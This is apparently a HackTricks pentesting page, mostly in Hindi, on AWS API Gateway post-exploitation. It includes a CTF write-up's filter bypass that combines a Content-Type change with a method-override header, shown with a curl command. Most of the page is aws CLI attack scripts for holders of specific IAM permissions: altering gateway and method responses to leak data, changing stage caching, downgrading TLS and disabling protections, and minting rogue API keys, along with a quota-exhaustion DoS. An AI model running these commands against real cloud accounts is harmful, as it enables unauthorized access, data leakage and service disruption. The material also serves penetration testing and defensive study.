# AWS - API Gateway Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## API Gateway अधिक जानकारी के लिए देखें: {{#ref}} ../../aws-services/aws-api-gateway-enum.md {{#endref}} ### अप्रदर्शित APIs तक पहुँच You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\ फिर, EC2 मशीन से आप उस endpoint तक पहुँच पाएँगे और इसलिए उस gateway API को कॉल कर सकेंगे जो पहले exposed नहीं था। ### Bypass Request body passthrough This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). जैसा कि [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) में `PassthroughBehavior` सेक्शन में बताया गया है, डिफ़ॉल्ट रूप से वैल्यू **`WHEN_NO_MATCH`**, request के **Content-Type** हेडर की जाँच करते समय, request को बिना किसी transformation के backend को पास कर देता है। इसलिए, CTF में API Gateway के पास एक integration template था जो response में **flag के exfiltrated होने** को रोक रहा था जब एक request `Content-Type: application/json` के साथ भेजी गई थी: ```yaml RequestTemplates: application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` हालाँकि, **`Content-type: text/json`** के साथ एक अनुरोध भेजने से उस फ़िल्टर को निष्क्रिय कर दिया जा सकता था। अंत में, चूँकि API Gateway केवल `Get` और `Options` की अनुमति दे रहा था, यह संभव था कि कोई भी मनमाना dynamoDB क्वेरी बिना किसी सीमा के भेजी जा सके अगर क्वेरी को बॉडी में रखकर POST request भेजा जाए और हेडर `X-HTTP-Method-Override: GET` का उपयोग किया जाए: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` ### Usage Plans DoS In the **Enumeration** section you can see how to **usage plan प्राप्त करें** of the keys. If you have the key and it's **सीमित** to X usages **प्रति माह**, you could **बस इसे इस्तेमाल करके DoS पैदा कर सकते हैं**. The **API Key** just need to be **शामिल** inside a **HTTP header** called **`x-api-key`**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **एक मौजूदा Gateway Response को modify करके custom headers या response templates शामिल कर सकता है जो sensitive information को leak करें या malicious scripts को execute करें**. ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" # Update the Gateway Response aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}" # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **संभावित प्रभाव**: Leakage of संवेदनशील जानकारी, दुर्भावनापूर्ण स्क्रिप्ट्स का निष्पादन, या API resources तक अनधिकृत पहुँच। > [!NOTE] > परीक्षण आवश्यक ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` एक हमलावर जिसके पास `apigateway:UpdateStage` और `apigateway:CreateDeployment` अनुमतियाँ हों, **मौजूदा API Gateway स्टेज को बदलकर ट्रैफ़िक को किसी अन्य स्टेज पर रीडायरेक्ट करने या कैशिंग सेटिंग्स बदलकर कैश किए गए डेटा तक अनधिकृत पहुँच प्राप्त करने** में सक्षम हो सकता है। ```bash API_ID="your-api-id" STAGE_NAME="Prod" # Update the API Gateway stage aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5" # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **Potential Impact**: कैश्ड डेटा तक अनधिकृत पहुँच, API ट्रैफ़िक में बाधा डालना या उसे इंटरसेप्ट करना। > [!NOTE] > परीक्षण आवश्यक ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` एक हमलावर जिसके पास `apigateway:PutMethodResponse` और `apigateway:CreateDeployment` अनुमतियाँ हैं, वह **मौजूदा API Gateway REST API method के method response को संशोधित कर सकता है ताकि इसमें कस्टम हेडर या response templates शामिल किए जाएँ जो संवेदनशील जानकारी को leak कर दें या दुर्भावनापूर्ण स्क्रिप्ट चला सकें।** ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" HTTP_METHOD="GET" STATUS_CODE="200" # Update the method response aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true" # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **Potential Impact**: संवेदनशील जानकारी का leak, दुर्भावनापूर्ण स्क्रिप्ट्स का निष्पादन, या API resources तक unauthorized access। > [!NOTE] > परीक्षण आवश्यक ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` `apigateway:UpdateRestApi` और `apigateway:CreateDeployment` permissions वाले attacker API Gateway REST API सेटिंग्स को संशोधित करके logging को disable कर सकता है या minimum TLS version बदल सकता है, जिससे API की सुरक्षा कमजोर हो सकती है। ```bash API_ID="your-api-id" # Update the REST API settings aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER' # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **संभावित प्रभाव**: API की सुरक्षा को कमजोर करना, संभावित रूप से अनधिकृत पहुँच की अनुमति देना या संवेदनशील जानकारी उजागर करना। > [!NOTE] > परीक्षण की आवश्यकता ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` जिनके पास `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, और `apigateway:CreateUsagePlanKey` अनुमतियाँ हैं, वह attacker **नए API keys बना सकता है, उन्हें usage plans से जोड़ सकता है, और फिर इन keys का उपयोग अनधिकृत रूप से APIs तक पहुँच के लिए कर सकता है**। ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') # Create a new usage plan USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id') # Associate the API key with the usage plan aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY ``` **Potential Impact**: अनधिकृत पहुँच API संसाधनों तक, सुरक्षा नियंत्रणों को दरकिनार करना। > [!NOTE] > परीक्षण आवश्यक {{#include ../../../../banners/hacktricks-training.md}}